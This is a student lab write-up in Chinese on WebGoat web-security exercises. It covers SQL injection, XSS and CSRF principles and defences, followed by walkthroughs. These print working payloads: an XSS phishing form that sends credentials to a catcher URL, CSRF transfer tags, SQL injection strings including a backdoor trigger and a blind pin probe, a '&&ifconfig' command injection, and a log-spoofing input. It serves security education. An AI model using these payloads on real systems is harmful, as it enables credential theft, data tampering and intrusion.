20155305《网络对抗》Web安全基础实践
基础问题回答
- SQL注入攻击原理，如何防御？
原理：SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作，使非法数据侵入系统。
防御：
1.对用户的输入进行校验，可以通过正则表达式，双"-"进行转换等。
2.不要使用动态拼装sql，可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放，加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示。
6.采取辅助软件或网站平台来检测sql注入。
- XSS攻击的原理，如何防御？
原理：XSS是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码（如，HTML代码和客户端脚本）植入到提供给其它用户使用的页面中，攻击者可以利用XSS漏洞旁路掉访问控制。
防御：
1.特征匹配方式，在所有提交的信息中都进行匹配检查，一般会对“javascript”这个关键字进行检索，一旦发现提交信息中包含“javascript”，就认定为XSS攻击。
2.对所有用户提交内容进行可靠的输入验证，包括对URL、查询关键字、HTTP头、POST数据等，仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交，对其他的一律过滤。
3.实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查，以防功能被第三方网站所执行。
- CSRF攻击原理，如何防御？
原理：CSRF跨站请求伪造，也被称为“oneclickattack”或者sessionriding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用，通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
防御：
1.在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
2.“双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取，那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求，那么这个请求必须来自于受信任的域。
3.用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
实验过程
WebGoat
在终端中输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat。
当页面成功停在下图位置时，最小化终端窗口：
打开浏览器，在地址栏输入localhost:8080/WebGoat打开WebGoat，选择默认账号、密码即可登陆成功。
XSS攻击
1、Phishing with XSS 跨站脚本钓鱼攻击
跨站脚本攻击最大的魅力是通过HTML注入劫持用户的浏览器，任意构造用户当前浏览的HTML内容，甚至可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击
先编写一个包含用户名、密码的前端代码：
<head>
<body>
<div>
<div style="float:left;height:100px;50%;background-color:green;"></div>
<div style="float:left;height:100px;50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.！！！！！！ Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
然后在webgoat找到xss攻击打开Phishing with XSS（第一个）
将这段代码输入到输入框中，点击search出现如下登录框：
在登录框中输入用户名、密码：
点击登录后跳出弹框，其中包含用户输入的用户名、密码。攻击成功！
2、Stored XSS Attacks 存储型XSS攻击
存储型XSS的攻击基本流程:
a. 比如在某个论坛提供留言板功能，黑客在留言板内插入恶意的html或者Javascript代码，并且提交。
b. 网站后台程序将留言内容存储在数据中
c. 然后一个用户也访问这个论坛，并刷新了留言板，这时网站后台从数据库中读取了之前黑客的留言内容，并且直接插入在html页面中，这就可能导致了：黑客留言的脚本本身应该作为内容显示在留言板的，然后此时可能黑客的留言脚本被浏览器解释执行了。
那么黑客的脚本可以用来做哪些坏事儿呢？比如:
通过javascript获取用户的cookie，根据这个cookie窃取用户信息
重定向网站到一个钓鱼网站
重新更改页面内容，假装让客户输入用户名，密码，然后提交到黑客的服务器
打开Stored XSS Attacks（xxs攻击第二个）
在Message框中输入<script>alert("I am 20155305qiaolei");</script>
点击提交后弹出对话框，显示I am 20155305qiaolei。攻击成功！
3、Reflected XSS Attacks 反射型XSS攻击
我们在访问一个网页的时候，在URL后面加上参数，服务器根据请求的参数值构造不同的HTML返回。
value可能出现在返回的HTML(可能是JS,HTML某元素的内容或者属性)中,
如果将value改成可以在浏览器中被解释执行的东西,就形成了反射型XSS.
有人会问，我怎么可能自己去把value改成可以执行的恶意代码呢?这不是自己坑自己吗.
但是一种情况是别人可能修改这个value值，然后将这个恶意的URL发送给你,或者别人,当URL地址被打开时,
特有的恶意代码参数被HTML解析,执行.它的特点是非持久化,必须用户点击带有特定参数的链接才能引起
打开xss的第三个攻击，在code框中输入<script>alert("I am 20155305qiaolei");</script>
点击Purchase出现对话框，显示I am 20155305qiaolei。攻击成功！
CSRF攻击
跨站请求伪造，尽管听起来像跨站脚本（XSS），但它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比，CSRF攻击往往不大流行（因此对其进行防范的资源也相当稀少）和难以防范，所以被认为比XSS更具危险性。
1、Cross Site Request Forgery(CSRF)
查看页面右边Parameters中的src和menu值。
在title框中输入学号，message框中输入代码：<img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>
提交后生成一个链接20155305：
点击学号名即可查看用户操作的信息，攻击成功
2、CSRF Prompt By-Pass
查看页面右边Parameters中的src和menu值，并在title框中输入学号，message框中输入代码：
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
提交后生成一个链接20155305：
点击学号名即可查看用户操作的信息，攻击成功
SQL注入攻击
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。
1、Numeric SQL Injection
我们看到这一题的选择框也是一个下拉框，在当前网页上无法修改，于是，我们使用BurpSuite抓包修改。
在Kali桌面上找到如下图标，打开BurpSuite：
在BurpSuite中依次选择Proxy->Options->Add添加一个端口，将绑定的端口设为5305，点击确认后会在Options下增加一行，勾选新形成的这一行：
点击浏览器右上方的更多选项卡，选择preference
在页面左侧选择advanced，选择network页标签，在connection那一行选择settings…
在弹出的窗口中设置代理服务器和端口（要与BurpSuite中绑定的一致）
设置好代理后回到题目页面，点击Go，然后进入BurpSuite中依次选择Proxy->Intercept，可以看到已经抓到了包：
右键选择send to repeater
进入repeater页标签，选择Params将其中station的值改为101 or 1=1，点击Go运行，查看右侧代码可以看到包中的SQL语句为
SELECT * FROM weather_data WHERE station = 101 or 1=1
回到Proxy中点击Intercept is on对剩下的包不作处理，回到火狐发现已经成功。
2、Command Injection
我们看到这一题的选择框是一个下拉框，在当前网页上无法修改，于是，我们使用BurpSuite抓包修改
在题目页面点击view，然后进入BurpSuite中，在repeater页标签的Params选项中先运行一次，查看数据都提交的位置：
然后修改HelpFile的值为AccessControlMatrix.help"&&ifconfig"，其中的双引号是为了封闭原语句中的双引号，&&在命令行中是执行另外一条语句的意思，点击GO发现执行了ifconfig语句
回到题目发现显示破解成功。
3、Log Spoofing
在User Name文本框中输入%0d%0aLogin succeeded !admin达到欺骗登录效果，破解成功：
4、LAB:SQL Injection(Stage 1:String SQL Injection)
使用一个新的工具firebug（浏览器右上方有一个小昆虫一样的标志），可以显示当前网页的源码并直接在其中修改。
使用用户Neville进行登录，在密码栏中输入' or 1=1 --进行SQL注入，本以为会成功，但是登录失败，查看源码发现输入框对输入的字符长度进行了限制，最多允许输入8个字符。
在查看源码的时候怎么找到限制字符长度的语句在哪里呢？在查看源码的窗口的顶部左边有一个鼠标一样的标志，点击它，再点击题目页面的```password```输入框的位置，源码部分就会自动跳转到关于密码的部分，缩小范围后就好找多了。
对长度maxlength值进行扩大（我直接改成了100，所谓多多益善嘛），然后在密码栏中再次输入' or 1=1 --，点击登录就成功了！在这里，千万要开着扩大后的源码页面点登陆login，它并不能保存，记住不要关掉你改过长度的网页代码页面，一关就没了，这点很致命。
5、LAB:SQL Injection(Stage 3:Numeric SQL Injection)
用上一题的方法成功登录
查看网页源码，选择查看viewprofile部分的代码，这时候可以看到一行用员工id作为索引来传送数据的代码，双击这行代码就可以出现value的值，因为我们想要用Larry的账户浏览老板信息，而大多数企业公司里老板的工资应该是最高的，所以我们就把其中的value值由101改为101 or 1=1 order by salary desc --，这样老板的信息就会被排到第一个让我们看到
可以看到老板应该就是Neville了，电话地址电邮工资卡等等信息一览无余。
6、String SQL Injection
在输入框中输入Smith进行尝试，观察下方形成的输入语句，可以看到输入的Smith在两个单引号之间：
构造永真式'or 1='1，第一个分号用来闭合原输入语句的前一个分号，而第二个分号用来闭合原输入语句的后一个分号，使这条语句被强行拆分成为两条语句。
这样一来，攻击就成功了，可以显示所有用户的信息了。
7、Database Backdoors
先输入示例101进行尝试，得到了该用户的信息。
观察发现输入的语句不进行验证，于是我们输入语句：101; update employee set salary=666666成功将该用户的工资变成666666，攻击成功：
下一步，输入语句
101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155305@hackme.com' WHERE userid = NEW.userid
就可以了，表中一旦添加新用户那么就在用户表里将新用户的邮箱改为我设置的邮箱。
8、Blind Numeric SQL Injection
尝试题目中给出的例子，在输入框输入101，运行后发现返回Account number is valid，说明这个数是合法的！
`
构造输入语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 数值 );，根据返回的语句是否合法判断pin值的范围。
这里使用二分法，确实有些费时费力，需要从2000，3000，2500，2250，2375，2313，2344，2360，2368，2364......一直很有耐心的试下去，但是其实也不算慢呀感觉，最后确定值是2364，输入2364后破解成功：
实验总结与体会
这次实验呢是web安全基础，一开始想自己搭建一下webgoat的实验环境，但是搭建完Java环境，看到tomcat我就想以前搭建过一次，这次就不再去把时间花在搭建环境上了，于是就直接用老师给的虚拟机环境做，所以就很easy的打开了Webgoat，通过在Webgoat上的实践，我学会了SQL注入攻击（个人理解为了获取他人信息为目的的攻击）、XSS攻击（跨站脚本攻击，通俗点现如今大多数其实都是钓鱼网站来获得用户的账户密码做一些违法乱纪的事情，本实验里大多是就是为了获得用户名和密码）和CSRF攻击（攻击通过在授权用户访问的页面中包含链接或者脚本的方式）的一些小套路，也初步掌握了设置代理服务器、使用BurpSuite捕获包进行源码修改的方法，后来，因为可以借鉴到学长学姐的经历，也学会了用Firebug（就是那个小昆虫图标）直接修改网页源码，感觉这个比用BurpSuite修改更快捷方便一些，当然，这两个工具的侧重点不同，还是需要都掌握一下的。这次实验的Webgoat就像一个小时候玩过的闯关游戏，做出来每一个之后都会有提示Succeed或者Congratulations，每破解一题后就会有一个绿色的小对勾，大概就像每闯过一个关卡可以得到一些更先进的武器一样，心里很开心，这次也是这门课最后一次实验了，虽然课程结束了，但是学到的知识和能力真的受益匪浅，真的像老师第一节课说的一样，这一学期的这门网络对抗课是真正凭着兴趣完成的每一次实验和学习。